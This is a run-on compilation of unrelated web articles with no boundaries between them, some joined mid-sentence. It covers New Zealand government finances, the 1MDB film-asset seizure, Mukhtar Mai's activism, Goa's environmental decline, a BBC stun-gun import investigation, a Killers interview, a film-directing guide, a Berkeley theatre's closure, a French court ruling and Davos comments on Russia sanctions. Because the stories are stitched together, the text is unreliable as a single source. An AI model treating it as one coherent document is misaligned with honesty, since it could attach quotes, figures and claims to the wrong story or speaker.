The major changes since the pre-election picture were a decline in tax revenue, an increase in treaty settlement costs and an increase in earthquake rebuild expenses.
"The Government will continue to focus strongly on managing expenditure tightly and stabilising and then reducing debt - including carefully managing its future capital needs," English said.
One of those areas would be state housing, where cooperation with community and private providers would allow the Government to draw on outside capital rather than it being the sole responsibility of the taxpayers.
Prime Minister John Key announced on Monday that as part of his Cabinet reshuffle a three pronged team of ministers would aim to boost social housing provision while reducing state-owned Housing Corporation's dominance in the sector.
The Government's financial statements for the year to the end of June, released this afternoon, showed tax revenue was $2.8b higher than the previous year but was $900m lower than forecast in the 2013 Budget.
English said it was possible revenue would continue to track below forecast in the current year.
Growth was expected to return to more normal levels, from the 3.9 per cent in the year to June, reflecting international economic conditions and lower dairy prices.
Returns from financial institutions such as the New Zealand Superannuation Fund, contributed a net gain of $5.4b delivering a surplus after gains and losses of $2.8b.
Net debt was $59.9b or 26.2 per cent of gross domestic product. The value of assets increased $11.7b despite the asset sales programme.
English said a large part of that was attributable to the increase in land value of Housing Corporation properties.
He said the Government had been the "principal but reluctant beneficiary" of planning rules that pushed up land values but needed reform.
The Government would work with local councils, who decided when and where houses were built, to get more houses built faster and to get land values to a level that developers could afford to build lower value houses.
His aim was not to own the most houses but to help the most people in need.
English said the economy faced some headwinds, including lower dairy prices, uncertain tax revenue, global risks in China and Europe and the impact of the Auckland housing market.
"It does remain a challenge to make progress."
Returning to surplus remained important but the longer term direction was what mattered.
The Treasury's next forecasts will be released in the half year economic and fiscal update on December 16, which will show if the Government is still on track for a surplus in the 2014/15 year.
- StuffJustice department alleges money to make films including the comedy sequel, and artwork given to Leonardo DiCaprio, may be stolen from Malaysia fund
The US justice department is seeking to acquire the rights to films, including the comedy sequel Dumb and Dumber To, as part of an effort to recover $540m in assets it says were stolen from Malaysia’s troubled wealth fund.
1MDB: The inside story of the world’s biggest financial scandal | Randeep Ramesh Read more
The move is the latest effort to seize luxury property, art – including pieces given to stars such as Leonardo DiCaprio – and other assets linked to fraud at the state-owned Malaysian investment fund known as 1MDB.
Red Granite Pictures, the company which produced Dumb and Dumber To, was named by the department in a new complaint that claims the money it used to make the movie is traceable to foreign corruption.
Some of the assets the department is attempting to seize include a rare poster for the film Metropolis which was purchased by the Red Granite CEO, Riza Aziz, the stepson of the Malaysian prime minister, Najib Razak. Razak is accused of being the main force behind the “rampant looting of state funds”.
The US government is also seeking artwork given to DiCaprio including work by Picasso and the photographer Diane Arbus, as well as a collage by Jean-Michel Basquiat. The Hollywood Reporter says the actor has returned an Oscar that was originally given to Marlon Brando.
It is the latest development in a complex money laundering scheme the justice department says was intended to enrich top-level Malaysian officials.
Last summer, prosecutors moved to recover more than $1bn that federal officials say was stolen from the fund that promotes development projects in the Asian country.
The suit also seeks a yacht and millions of dollars of jewelry. The justice department says more than $4.5bn has been stolen from the fund.Some 15 years ago a 12-year-old boy from the small village of Meerwala was raped by three men of the local Mastoi clan. When the brave child refused to keep the horrific injustice done to him to himself, one of the Mastoi men accused the boy of having an intimate relationship with his sister.
In order to resolve this supposed offence, the sister of the boy, Mukhtar Mai, was ordered to apologise on behalf of her brother. When the young woman arrived at the offender’s house, a crime of no less cruelty was done to Mukhtar, as had already had been done to her brother. Mukhtar was stripped of her clothes, gang raped by the men of the Mastoi clan and eventually marched naked through her village.
Quite understandably, Mukhtar felt that her life was over, but this despair went hand in hand with a feeling of outrage and anger about her abuse. This intense outrage eventually strengthened her resilience to seek justice and highlight the problems which the vast majority of Pakistani women face in our male dominated society. Mukhtar’s case soon became known all over Pakistan and it also didn’t take long before the international press picked up Mukhtar’s story.
Mukhtar became a symbol of courage for Pakistani women and the international press hailed her as a global hero.
A few months after the incident, Mukhtar’s rapists were brought to court after which it soon became clear that her demand for justice would be a long-term struggle. However, Mukhtar didn’t only want to get justice for herself, she wanted to bring justice to a society in which women had always been treated as unequal to men. After the case, Mukhtar began to fiercely promote education for girls and she became one the strongest Pakistani advocates of women’s rights. Up until this day, Mukhtar is busy running her organisation, The MMWWO (Mukhtar Mai’s Women Welfare Organization), which provides education, shelter and legal aid to women all over Pakistan.The number of Israelis visiting mental health clinics has increased by 100 per cent in recent days, Maariv newspaper reported on Wednesday.
The reason for this increase, it is said, is the ongoing tension and clashes between Palestinian protesters and the Israeli army. The Palestinians are responding to the Israeli occupation, killings and violations of their rights, a response which includes random stabbings of Israeli citizens.
According to one mental health official, clinics are approaching the stage of the psychological collapse of Israelis. “All of our staff are working and we have started dealing with the citizens as if we are living in real wartime,” she explained. “We get patients from all backgrounds: normal people, troops, youth and the elderly. Everyone complains about the increase in the number of stabbings and attempted attacks.”Sometimes, when the sun is setting over a village called Aldona, and the evening bread is delivered on the backs of bicycles, you can convince yourself that Goa is all right. When Reginald or Tulsidas or Lata or Maria stand at the front gate speaking to that passerby at dusk, and the urak season starts slipping into the feni days, so all you smell on the road is the arch fermentation of cashew apples: yes, it’s OK.
But then you think about the beaches, the ones with the plastic bags in the water, which you mistook for jellyfish, and the shards of glass from the beer bottles carried into the waves, which now churn with sewage from the septic tanks. Those beaches; you can forget those beaches.
And the hills and roadsides, covered in garbage, blossoming like wildflower. And the earth inland that mining has stripped bare and turned rust-red, leaving peacocks dead from contaminated groundwater. The Mandovi river, too, full of floating casinos and effluent. You can forget these things. And you can remember Goa’s ghosts.
My husband and I moved to north Goa eight years ago, though I first visited with my family 30 years ago, when I was four; we drove down from Bombay in the car, my brother seeing his first nudist on the beach, his mind blown. This time we came so I could study yoga, and we realised there was no reason to leave. Goa was beautiful, laid-back yet exciting, a meeting place for the world. Sure, there were problems. But the beaches! The restaurants! The music, and the people!
Facebook Twitter Pinterest Rubbish strewn on the beach in the fishing village of Badem, next to Vagator
It was about four years ago when the doubts first crept in. We noticed how swimming in the sea would leave us with a sore throat or infect a cut. We could no longer pretend the garbage piles on the Assagao, Siolim and Parra hills weren’t getting worse. We saw the trickle of new construction becoming a torrent. And, looking around, we realised many who had created Goa’s culture were now looking elsewhere: locals sought Portuguese passports; foreigners talked about Cambodia or weighed the merits of staying in Europe, saying the good days were over. On balance, it was still worth it. And our village of Assagao – we said – was special, hidden from the corrupted beach-belt; things would be fine.
The garbage is out of control, shellfish have been decimated by bacteria, turtle nesting grounds have been ruined
But things are not fine. The garbage is out of control, river shellfish have been decimated by coliform bacteria, turtle nesting grounds have been ruined. And the construction … it has exploded. We went away for work for six months, and when we returned six Portuguese villas in our village had been demolished. In their place were construction sites for luxury apartment complexes, the required sand dredged from the rivers, the necessary water drained from wells that ran dry in January. And it’s not just our village: Anjuna and Vagator are changing even faster, with new projects such as Rainforest Boulevard (complete with fake photo of Goa’s beaches in the brochure) and Goa Junction (“for those who choose to be among the privileged few [and] believe in a king-sized lavish & luxurious life”) rising up.
The most recent horror? The “eco-tourism” development of the ecologically sensitive Chapora river area by means of “ferry terminals, a tourist village, museum, marinas, fisherman’s wharf, hotels, an underwater aquarium, sea world, a bird park, an adventure sports island, a tree-top hotel, hotel complex, an exhibition centre …”
Facebook Twitter Pinterest A scene from a rubbish-strewn area on the edge of Assagao
With sadness, we have decided to leave, to look toward Europe or Latin America. I have canvassed the opinions of long-term foreign visitors who have also turned away. For Manu from Mexico, the filthy sea was the final straw, though there is also the unscrupulous local business people, “always wanting to take advantage or cheat you in some way”. Phil from England, who has been coming here for 25 years, said: “The joke I made this season was, we all used to say Goa was not the real India, but now REAL India has turned up.” And Marco, who has been driving his VW bus from Switzerland to India for years via Italy, Greece, Turkey, Iran and Pakistan wrote: “I think I’m not coming back. Too much pollution, traffic, crazy tourists, new buildings, corruption …”
The foreigners who have settled here, the ones who made the parties and the markets come alive, are going elsewhere
Foreign tourism has been falling for the last few years. India News Network reported that the total number of foreign tourists has fallen 20% compared over the last two years, while The Times of India said 57,000 foreign tourists arrived between October and December 2015, compared with the 85,000 in the same period the previous year. Over 20,000 Russians, the demographic Goa recently relied on, have cancelled trips. The collapsing rouble and problems in the eurozone are external factors that partly explain the disappearing foreign tourist, but Goa doesn’t help itself. In an IndyaWire.com social media survey, 42% of Russians who had visited in the last four years said they wouldn’t be coming back: Goa was too expensive, too dirty, the taxi mafia too aggressive, women didn’t feel safe, the police were unco-operative.
Anecdotal evidence supports claims of increased harassment of women. A chef friend from Chandigarh, who worked late in a restaurant, had to switch from a scooter to a car because she was being stalked on her way home. An Italian woman here for 10 days stopped travelling alone after a man tried to force her off her bike at night. And a Californian friend who has lived in India for more than 30 years told me about a new bag snatching gang targeting single females travelling alone in the evenings. Little by little, the foreigners who have settled here, the ones who made the parties and the markets come alive, are going elsewhere.
But hey … good riddance? We don’t need you? Domestic tourism will pick up the shortfall – after all, it rose 35% between 2013 and 2014. Here’s the rub, though: aside from dramatically altering a place that, in the words of one friend, “has been geared toward foreigners for 40 years”, the bulk of this incoming demographic doesn’t bring much money to the local economy. They generally arrive by the jeep- or coach-load, stay in budget hotels or in their own vehicles, cook their own food if they can or eat all-inclusive, generate huge amounts of garbage and leave.
It’s a rush toward low-quality, pack-em-in resorts, at great environmental cost.
Revenues are falling. But the budget hotels and apartments built to cope with this boom are costing Goa big. The coastal belt is becoming a concrete wilderness, the jammed roads are seeing more fatal accidents, the beaches are becoming filthier. Occasionally, they become sinister. In the popular Indian imagination, the liberal, laid-back Goa that accepted the hippies all those years ago is a den of sin, a land of sex, drugs and drink, where anything goes. And so it has become. When my husband went to photograph Calangute beach recently, a pimp approached him within five minutes, “You want to fuck nice girls?” he whispered, while the police sat a few feet away.
It’s a rush toward low-quality, pack-em-in resorts, at great environmental cost. Which is funny, as the Goa government has been talking about high-end tourism for years. It was always its plan: get rid of the hippies and bring in the high-rollers. That’s what the then chief minister Manohar Parrikar told me when I interviewed him in 2004. Well, they got rid of the hippies. And the high-end tourists? Surprise! They’re not coming. But they will, according to the government; they’ll come as soon as the Panaji to Reis Magos Ropeway is built. A cable car, costing £10m, linking the capital city to a fort across the river: that’s the secret weapon to bring in the luxury crowd.
This is the government that green-lit sand mining in the rivers, and the recommencement of iron-ore mining inland. This is the government that thinks the way to fix things is to put Wi-Fi on the beaches, along with CCTV. It is not the first. In 2011, the Congress government proposed a marina and a “Disneyland style adventure park”, which would surely bring in the high-end tourists. Nothing came of those things.
Facebook Twitter Pinterest Note of hope … Felly Gomes and Beatriz Contreras Milla, founders of the NGO Live Happy, which raises awareness of the rubbish problem in the community
This is what the government cannot understand: Goa has always had everything it needs: pristine beaches, charming villages, immaculate countryside, friendly people, a tolerant culture. It still has it, in places. The early mornings can be glorious, the inland areas around Quepem and Salcete in south Goa hold fast to their sleepy, genteel charm and the rugged coastline of Canacona, between the river Sal and Agonda beach, is still a bio-diverse wonderland.
What the government can't understand is that Goa has always had everything it needs
There is always hope. A new (albeit controversial) waste treatment plant is coming at Saligao, while Olaulim and Parra panchayats (councils) are doing great work in garbage management. Groups and individuals are striving for a better Goa: environmentalists Claude and Norma Alvares, the Goa-based NGO Video Volunteers and social activist Dr Oscar Rebello among them. Another, in Assagao, is Felly Gomes who, along with his wife Beatriz Contreras Milla, runs the Live Happy social activism NGO, raising garbage awareness in schools, temples and churches, recycling and composting villages’ waste, and running yoga and mediation classes with the funds raised. Ultimately, however, the authorities have to step in and help.
For now, a sense of sadness lingers. I talk to the husband and wife who run one of my local fish-curry-rice places. They tell me that “everything is corrupted; everything is gone”, and when considering the construction boom add that “in five years the village will be lost.”
We look to the agricultural land next door to their business and they both wonder if in 10 years even this will be sold. But what can they do? It’s a question you hear often. What can we do? The answer is unclear. What is certain is that the state is in a period of upheaval, and whatever the outcome, the Goa we once knew is gone.Sinead Connett has been jailed for hiding the body of her baby boy, who was found in a drain three years later
A career woman who hid the body of her dead baby in a drain shortly after she gave birth cried in the dock as she was jailed for 12 months.
Sinead Connett, 29, concealed her pregnancy from family and friends before giving birth in the bathroom of the home she shared with her unsuspecting boyfriend.
Connett
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of powerful stun guns from a German website for £60 each.
Both weapons, sent separately, arrived in days. And each came with a free - and illegal - pepper spray.
At one million volts, one of the guns had a voltage 20 times that of the 50,000 volt weapons carried by police.
Eran Bauer, of Civil Defence Supply - which trains the UK police in using Tasers - described it as "one heck of a brute".
After seeing it fired he said: "That's lightning - horrendous tool. I don't believe you managed to get one of these. That is seriously dangerous."
Image caption Both stun guns came with a free gift: a can of pepper spray
Mr Bauer explained: "You are going to end up with skin burns for a start, and it's subcutaneous damage.
"If it goes into the neck across the nerves you can just imagine the damage.
"Hit across the chest then anything could happen - [it could] end up killing someone."
He added: "This has got to be stopped at source. There must be some way of screening mail."
Reformed gang member Daryl James believes the growing appeal of stun guns for teenage gangs is a result of the crackdown on knife and gun crime.
'People find alternatives'
He said: "You can't have all these youngers [young gang members] running about with stun guns - they'll stun everybody.
"As we move forward into knife bans, gun bans, people find alternatives."
Mr James said stun guns were a more effective tool for bank robbers than guns or knives - as they left victims momentarily paralysed with less risk of death.
Image caption Ex-gang member Daryl James says stun guns are ideal for bank robbers
The Met declined to be interviewed on the issue.
But former murder squad Detective Chief Inspector Pete Kirkham believes stun guns have become the weapon of choice for many criminals.
He said: "Stun guns have been used in armed robberies.
"They turn up in aggravated burglaries, in disputes between drug dealers - that's the range of serious crimes."
Mr Kirkham said front-line police were exasperated by the ease with which stun guns made it past customs.
The UKBF was unable to say how many stun guns it had seized last year.
A spokesman said the most recent year for which it was able to provide figures was 2008/2009 - almost four years ago, when 160 were seized.
Labour has called it a "worrying admission", adding: "If UKBF don't even know how many stun guns have been stopped at the border, how can it possibly address this problem?"
Keith Vaz MP, chairman of the Home Affairs Select Committee, said: "I'm absolutely shocked there are present on the streets stun guns more powerful than weapons being used by our police.
'Must take action'
"How is it possible for someone to go online and get a gun into this country through what we are told is one of the most sophisticated borders in the world?
"Clearly it's important we take action to find out what's gone wrong and I intend to raise the matter with the head of the Border Agency and the home secretary when she appears before the committee."
The UKBF declined to be interviewed but in a statement it said: "The UK Border Force, Revenue and Customs and police work together to target importation of illegal weapons, and those who seek to bring weapons into the country."
The agency denied it had stopped counting stun gun seizures altogether. A spokesman claimed the statistics from 2009/2010 on were "in the verification process".
The BBC will hand the stun guns to police.
BBC Inside Out is on BBC One in the London region on Monday, 7 January at 19:30 GMT and nationwide on the iPlayer for seven days following transmission.The Canadian Press
CALGARY -- Researchers with the Canadian Sports Concussion Project will be studying the brain of a former Calgary Stampeders football player who died last week.
A friend and former teammate of John Forzani says the two of them discussed the matter four years ago.
Basil Bark says Forzani decided at the time that donating his brain to science would be worthwhile.
Bark said Forzani, who was also part-owner of the CFL team, suffered several concussions during his playing years.
"I remember one game John got hit hard and his helmet broke. We didn't have another one so he continued to play with it. He was glassy-eyed after the game and who knows what the effects were? I knew John for 47 years and everything seemed fine. But his brain should be examined."
The project led by Dr. Charles Tator at Toronto Western Hospital is studying of the long-term effects of concussions on professional football players.
Forzani was an offensive lineman with the Stampeders for six seasons in the 1970s.
He died on Friday at age 67 after suffering a heart attack in California.
Tator said it's a very generous gift by the family, as Forzani's stature both on and off the field will help raise the profile for this kind of research.
"Somebody like John Forzani, who was a great player and then he was a great business person and community person, it's even more important to get that whole spectrum," he said, adding the position Forzani played is also significant.
"That makes this donation even more important because there is a suspicion that linemen take even more hits to the head and it is the mechanism of repetitive hits to the head that we are very worried about," Tator said.
Leo Ezerins, executive director of the CFL Alumni Association, said Forzani's wife, Linda, should be given credit for her courage and strength.
"I spoke with Linda and she was very pleased that John could continue to leave a legacy even in passing."It’s a sunny afternoon in Los Angeles when we meet with Killers frontman Brandon Flowers and drummer Ronnie Vannucci at the Sunset Marquis Hotel to discuss Wonderful Wonderful, the band’s new album — their first in five years.
Given the swanky setting, the conversation quickly turns to rock-star encounters at the famous Hollywood property, one of the most iconic hotels in the music industry. Both Flowers and Vannucci have some memorable stories to share.
“I hung out with Morrissey at this hotel,” Flowers starts off. “I came in one night at around 11 and everything was kind of shut down, but there was this one little light in the restaurant. And I grew up just idolizing him. I instantly got excited, obviously, and I ended up getting the courage to introduce myself and stay for a few hours out there with the Moz. It was an incredible experience. I was his bus boy when I was 18 at Spago in Vegas — served him a mushroom pizza and Earl Grey tea, and I totally made an ass of myself: ‘Mushrooms are really cool.’ So I don’t know that I redeemed myself completely with this experience with him, but I tried.”
Vannucci’s Sunset Marquis celebrity encounter also stands out. “One time I ran into [ZZ Top’s] Billy Gibbons. He went straight up to me. He thought I was a guitar player — I play drums — and he came up to me and goes, ‘You owe me, you’re only here because of me.’ And he’s f***ing right, because I grew up on Eliminator. So he’s right.”
So, did Vannucci correct Gibbons? “I don’t think it matters, he’s still right,” he says with a shrug. “If I’m in a rock band, I’m there because of Billy Gibbons.”
Another band that has been very influential for the Killers is Depeche Mode, especially how they’ve changed sonically since 1981.
“We saw Depeche Mode in Spain and they were so good,” Flowers says. “When you look at what they sounded like for the first few records and how they evolved and then after Violator brought in live drums, which you never would have thought would be a thing with Depeche Mode, and now they’ve become this whole other thing. Martin [Gore’s] got a guitar the whole gig, and there’s a live drummer. And Dave [Gahan’s] just on fire. That was inspirational for us, because they’ve been doing it since ’80.”
Vannucci’s fandom of Depeche goes back many years. “When I was in junior high school, it wasn’t cool to like Depeche Mode, but they were my favorite band,” he recalls. “I permed my f***ing hair because of Martin Gore.”
Yes, the drummer did once share that story with Gore, who, according to Vannucci, “had a nice little chuckle over it.”
All of this brings up a very important and unique musical question: What would a cross-section between Depeche Mode and ZZ Top sound like?
“The Killers,” Vannucci answers, without hesitation.
Much like their idols, Wonderful Wonderful finds the Killers stretching both sonically and especially lyrically. And that expansion was necessary, because Flowers and Vannucci both admit there were a lot of struggles in the initial writing of this album.
“It was, like, five or six months, and it was starting to get dark,” Vannucci reveals. “There’s a lot of pressure when you’re making your fifth record and you’re a four-piece rock ‘n’ roll band. Where is another rock band right now that is getting radio play? We felt like we were on a deserted island, and it was nervous.”
That pressure finally eased when the band came up with the song “Rut.”
“It’s the keystone,” Flowers explains. “It’s like you go in, even though we’ve all been doing this for so long, you don’t know what’s going to happen or how long it’s going to take for it to happen when you finally get in a room. And when we got ‘Rut,’ it was like, ‘Oh, something. Thank you.’”
“Rut” is also a lyrical keystone because it finds Flowers opening up for the first time about his personal home life, even though it was not an easy transition. “First, I had a little anxiety about it, because I’d never really gone into this territory. I was kind of protective of my wife and my family and that kind of stuff,” he says. “But there was nothing else I could write about, so it ended up becoming that or nothing. So it really opened some doors for me lyrically on this record. There’s a song called ‘Some Kind of Love,’ and ‘Rut’ I get emotional with. I’ve noticed songs I get emotional about tend to resonate with people.”Editor’s Note:
Retirees Slammed with 85% Pay Cut (New Video)
Editor’s Note:
Retirees Slammed with 85% Pay Cut (New Video)
Legendary investor Jim Rogers not only thinks Federal Reserve policy is incompetent, he thinks the entire institution should be eliminated. Asked by RT television network what he'd do if he was named chairman of the central bank, Rogers said, "I'd abolish the Federal Reserve, and then I'd resign."The world has survived just fine without central banks for most of its history, he notes."America has had three central banks in our history. The first two disappeared," Rogers said."This one will too, because they keep... leveraging up the balance sheet. They keep making mistake after mistake. They keep printing money."The result?"This is going to self-destruct, unless the politicians say this thing is a mistake, let's get rid of it," Rogers said. "It's more likely, though, that it will self-destruct."When it comes to stocks, which are trading at or near record highs, "we're certainly going to have a crash someday — all this artificial sea of liquidity," he said.But while a correction could come soon, Rogers doesn't see an imminent plunge. "With all the money printing and spending in the world, this could go on for a while," he said.Former Federal Reserve Chairman Alan Greenspan doesn't share Rogers' view that stocks are in a bubble.The equity premium, "a measure of what the average investor requires the rate of return to invest in common stocks [is] still way below normal,” he told Fox Business Network. "There are a lot of things that can go wrong,” Greenspan said. "But to say that the market is bubbly and in a position where it could conceivably create a serious problem, I think is overstating it."Add new fields on checkout / order page by using PrestaShop custom fields module. You can different types of fields like Text field, text area, date, yes/no, multi-select, drop-down, checkbox, radio button, and display message only. Assign Fields to Specific product and show on checkout only when the particular product is in cart. Best selling Prestashop Checkout Fields Module at addons.Prestashop.com
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Article from W(A/O)NDERING FILMMAKING
How would you approach the visual breakdown of the script? How would you transform the written words into visual information that can be shared with the production designer, the director of cinematography and the rest of the cast and crew?
Being a director consists of a lot more than simply covering the action and storyline with a ‘bunch’ of shots. We have to analyse the story and character development and support it, enhance it and/or reshape it aspiring to deliver something that feels ‘stylistically whole’.
In Film Directing and Cinematic Motion Steven D Katz defines this as the task to “find the essence of each scene from a photographic perspective,[…] respecting the intention of the script without being limited by them” He proposes to get there in stages, or passes. These passes also offer a good occasion to edit the scene and to fine tune your dialogue, and sometimes are best explored as part of the rehearsals. In the chapter Visual Script breakdown he describes the various questions and processes applied during these various passes, outlined here below.
Free association pass: This is ideally performed during the first read. You can simply dump ideas onto the page. Add or remove details. Do not try to be all encompassing. Simply let these annotations reflect those initial powerful ideas that instantly came to mind when reading the written words; the most powerful images. Do not concentrate only on visual ‘content’ and perspective, but also on what the atmosphere is like; the colors, the lighting, the sound.
Before moving on to the next phase, let us quickly glance over some of the points Judith Weston outlines in Directing Actors: Creating Memorable Performances for Film & Television. These steps can assist in preparation of the visual script breakdown. (lifted from Script analysis check list from Judith Weston’s Directing Actors by Matt Cameron)
PREPARATION
Remove stage directions that describe the characters inner life, “longingly,” “kindly,” etc. These judgements encourage restrictive result direction.
Remove directions that depict blocking or business with no plot consequences in order to allow the actor’s movement to be generated as a natural part of their performance.
Pay special attention to character’s personal objects while ignoring any adjectives or adverbs. Avoid making judgements, instead, explore all possibilities.
Look for backstory facts in the dialogue, they are part of the reliable skeleton of the script.
Highlight directions that describe an emotional event but remove any descriptive words translate any psychoanalysing explanations (“He cannot look away”) into emotional events (“He does not look away”).
After removing unnecessary description you’ll be left with very sparse, circled or highlighted stage directions which will contain clues to the physical and emotional life of the characters.
Moving back to our Visual Breakdown.
First Pass Breakdown: Map the emotional outline of the scene. Motivations and ways of fulfilling them. “The most salient dramatic points of the scene that might lead to visual ideas” What is the scene really about? How does it change the status quo existing at the beginning of it? What are the important beats that constitute it?
Some of the aspects you could want to consider (as per Weston’s advice)
History – Character biographies can be created by the actor or writer. These are facts that are not in the script so they should only be used if they stimulate the imaginations of the actors and catapult them into their sense of belief in the moment.
What Just Happened – By filling in the moment-by-moment life of the characters before the scene started we create a sense that the scene is “in the middle of” something.
Objective/Intention/Need – Keep to one objective per scene per character unless a character has different objectives for different other characters.
Issues/What’s at Stake/The Problem/The Obstacle – A character’s through-line or primary engagement is not always with the other person in the scene. The primary engagement may be with an image or memory, another person who is not present, or even an object.
Action Verbs – The action verb is what a character is doing to get what she wants. Translate result based direction into an action verb.
Adjustments – By adding and adjustment to an actors choice an undercurrent can be added to add depth to the performance.
Physical Life – Pay attention to the physical objects and activities of the characters’ world. Objects interacting with the characters’ can become characters in the scene.
Second Breakdown: This is where you imagine action. How can we use positioning/staging and motion to strengthen (or at least play) the emotional map discovered in the previous step. During this pass we block the positioning and movements within the scene. We could already map these actions on an overhead diagram. Some directors like to observe the actors’ instinct during rehearsal. The better informed and the more dedicated the actor the higher the return will be on the freedom we have awarded them.
Third Scene Breakdown. Here we start to question the point of view. Map them for the key steps or moment in the script. Where are you placing the audience? Is it going to be wide, medium or tight? Are we going to bring the audience inside the action or let them observe from a more voyeuristic angle? Will we favor a character over another? Will we move the audience or will we let them stay still? At this stage we can truly make it ‘visual’. In other words, we can storyboard.
Bridging. Not everybody can afford to shoot all the desired setups. Sadly, sometimes we have to strike a compromise. Question whether any of the setups needed at various moment in the scene can be bridged together. Can I pan or dolly? Can I achieve the same shots using less setups by reconsidering my staging (having an actor move into position, rather than reposition the camera)
I am not advertising this as the way of approaching a visual breakdown. Eventually, these various steps can be performed in a combined fashion or even be operating at a subconscious level. These are important questions that need to inform your direction. The rediscovery of the script and its translation will inform further discussion the director will have with the other key creatives.
Remember Steven Spielberg’s words: “When I was a kid, there was no collaboration; it’s you with a camera bossing your friends around. But as an adult, filmmaking is all about appreciating the talents of the people you surround yourself with and knowing you could never have made any of these films by yourself.”
Those talents need to be guided by an informed and thoughtful vision. It’s about a lot more than just coverage.
This article has been reproduced with kind permission from the W(A/O)NDERING FILMMAKING blog.
You can find a treasure trove of useful tips & tricks, along with filmmaking advice at W(A/O)NDERING FILMMAKING, so be sure to check it out!
Feature image from Denis KundicFor 20 years, Impact Theatre has been producing youth-oriented new plays and fast-paced Shakespeare productions in the basement of La Val’s Pizza in North Berkeley. It’s been the place to see plays about “Dungeons and Dragons,” cockfighting, pop idols, superheroes, serial killers and sea monsters. But artistic director Melissa Hillman and managing director Cheshire Isaacs now say the current season will be the company’s last, at least in its current format.
“We’re going to finish out our 20th season with Melissa’s Looney Tunes-inspired ‘Comedy of Errors’ in February/March, followed — probably in May/June — by a movie-live theater hybrid of ‘Plan 9 from Outer Space’ by the same people who did ‘Splathouse,’ a double feature a couple of summers ago,” Isaacs says. “Then we expect to vacate La Val’s by the end of June.”
The reasons are all too familiar: Grants are harder and harder to come by. Ticket sales are down, even for shows with great reviews. The tiny staff is spread far too thin. What’s more, Impact suddenly lost the rights to the play originally planned for November/December, and inquiries about a hoped-for replacement dragged on so long that there was no time to fill the slot.
“We’re stuck in a weird financial place because most grants require you to have an annual budget of $100,000 or more,” Hillman says. “And we can’t make enough in ticket sales to grow. All that money to grow comes from grants and donations, and when we’re doing new plays by emerging playwrights in a basement with pizza and beer, our audience always skews really young, and those people just don’t have a lot of money. That was the audience we wanted, that was the audience we went for, and that was part of the whole point of keeping ticket prices accessible.”
This isn’t the end for Impact. No longer producing seasons of plays, Isaacs says, “We will be gearing up to launch Impact 2.0. What that is has yet to be fully worked out, but Melissa and I still feel Impact’s mission of giving much-needed early professional experiences to up-and-coming artists is something unique in the Bay Area. We think we can further that mission by transforming Impact into a resource for other Bay Area theater companies, promoting actors, directors, playwrights and designers we think companies should know about.”
Impact has long been the place to discover the theater artists of tomorrow, who go on to hit larger and larger stages in the Bay Area and beyond. Reggie White, an actor that Hillman discovered in her class at Cal State East Bay, is starring off-Broadway in a play by Lauren Gunderson, another Impact veteran. Director Desdemona Chiang, who staged her first show at Impact, now is working at the Oregon Shakespeare Festival. Impact introduced the Bay Area to playwrights such as Steve Yockey, Sheila Callaghan and Lauren Yee, who were soon snapped up by larger theaters.
Perhaps most crucially, the company may continue to produce plays on a much less frequent basis. “We’ve talked about bringing Impact-style Shakespeare to larger companies, or to partner with a company with a new playwright,” Hillman says. “We’re discussing what future Impact productions would look like. You can take much bigger risks when you’re doing a one-off show than when you’re doing an entire season and you have to support rent on your space.”
The vital role that Impact plays in the Bay Area theater ecosystem — a hub for new voices, new faces and exciting new work — will be missed. At the same time, it’s remarkable that it’s already been around for two decades as a boisterous troupe putting on plays in a pizza parlor basement.
“We started Impact in 1996 around a table at Au Coquelet,” Hillman says, referring to the Berkeley cafe. “We were trying to fill an unmet need for theater that really was for and about younger people — people under 40. That audience was just not represented in the theater, so we just did it. We just started catering to this audience.”
Josh Costello was the founding artistic director, and Hillman served as associate artistic director and literary manager. Costello is now the literary manager at Berkeley’s Aurora Theatre Company and an acclaimed director whose hit San Francisco Playhouse production of Aaron Loeb’s “Ideation” opens off-Broadway in March. When Costello went off to get his MFA in 2000, Hillman took over as artistic director.
“This was my labor of love,” she says. “I never drew a salary at Impact. Twenty years is a long time to be putting so much time into something while I’m also working to pay my own rent. It was a gradual process of realizing that at a certain turning point, we’re either going to go gangbusters and grow and make this our job …” The rest of the sentence goes unsaid: or decide it’s time to move on.
“It’s been an incredible experience,” Hillman says. “When I look back on it, the things that are the most important to me are the moments when I felt like I was of greatest service, helping people start their careers, helping people get seen, and doing plays that other people wouldn’t do or couldn’t do or hadn’t thought to do. I always say if I had a coat of arms, it would be a pair of hands giving someone a boost up.”A COURT in France has ordered a man to pay $13,500 in damages to his long-frustrated ex-wife after he failed in his marriage "duties" by withholding sex from her for years.
In the May ruling, published overnight in the Gazette du Palais judicial review, an appeals court in the southern city of Aix-en-Provence upheld an earlier decision to award the damages for "absence of sexual relations".
The couple, who are both 51, married in 1986 and have two children. They divorced in January 2009 in Nice.
In its ruling, the court said the man's wife deserved the damages due to the suffering she endured because of her sexless marriage.
"The wife's expectations were legitimate in the sense that sexual relations between married people are an expression of their mutual affection and part of the duties that proceed from marriage," the court said.
It dismissed the husband's argument that health problems and long working hours had simply reduced the opportunities for the couple to have sex.
The court ruled that he had not proved "any health problems that would make him completely incapable of having intimate relations with his wife".The arrival of Donald Trump to the White House opens the door to sanctions against Russia being eased, it’s been claimed.
Kirill Dmitriev, CEO of the state-backed Russian Direct Investment Fund, made the claim at the World Economic Forum in Davos during a live debate hosted by Euronews.
He said: “We believe with the Trump administration it’s possible to start having discussions on the reduction of sanctions because we can do so much with the US together.
“Imagine a world where Russia and the US jointly fights terrorism.”
The US and EU were among those to impose sanctions on Russia after its annexation of Crimea in 2014.
“Superb professional”
Dmitriev’s claim came as Igor Shuvalov, Russia’s first deputy prime minister, used the discussion to lavish praise on the incoming US president and talk up the potential of a good relationship with Vladimir Putin.
He said Russia’s lack of trade with the USA was not a problem for Moscow, but that if the countries improved co-operation on fighting terrorism that could lead to a better economic relationship.
“My hope is that Donald Trump, a superb professional entrepreneur, will become a professional president and in order to achieve results for global security he will agree with another great president, Putin, on how to solve the problem of Ukraine and other problems,” said Shuvalov. “But for results, one needs to communicate, to talk and negotiate and not push Russia into a corner. I hope this dialogue will happen.”
Progress on Minsk agreement needed
Miroslav Lajčák, Slovakia’s minister of foreign and European affairs, said EU sanctions would only be lifted if there was progress on the Minsk agreement.
The accord was signed in 2015 after talks between Putin, his Ukrainian counterpart Petro Poroshenko, French president Francois Hollande and German chancellor Angela Merkel.
Shuvalov said Russia had no influence on the Minsk agreement and that Ukraine must take some responsibility.
He added: “You have to ask all the signatories of the Minsk agreement as to why there’s been no progress. We are ready and willing to work.
